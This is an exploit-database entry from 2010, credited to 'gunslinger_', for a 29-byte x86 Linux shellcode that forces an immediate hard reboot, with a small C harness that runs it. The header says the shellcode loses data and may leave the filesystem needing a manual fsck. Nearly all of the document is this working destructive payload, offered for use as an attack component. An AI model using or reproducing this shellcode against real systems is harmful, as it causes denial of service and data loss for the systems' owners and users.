x86 linux hard / unclean reboot 29 bytes

/*
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1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
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0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
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Title  : hard reboot (without any message) and data will be lost shellcode
Name   : 29 bytes hard / unclean reboot with data will be lost x86 linux shellcode 
Date   : Thu Jun  3 12:56:45 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux ubuntu 9.04 , may cause fsck and fsck is failed (run fsck manually as root)
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>

char *shellcode=
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xb0\x58"                    /* mov    $0x58,%al */
		"\xbb\xad\xde\xe1\xfe"        /* mov    $0xfee1dead,%ebx */
		"\xb9\x69\x19\x12\x28"        /* mov    $0x28121969,%ecx */
		"\xba\x67\x45\x23\x01"        /* mov    $0x1234567,%edx */
		"\xcd\x80"                    /* int    $0x80 */
		"\x31\xc0"                    /* xor    %eax,%eax */
		"\xb0\x01"                    /* mov    $0x1,%al */
		"\x31\xdb"                    /* xor    %ebx,%ebx */
		"\xcd\x80";                   /* int    $0x80 */

int main(void)
{
		fprintf(stdout,"Length: %d\n",strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}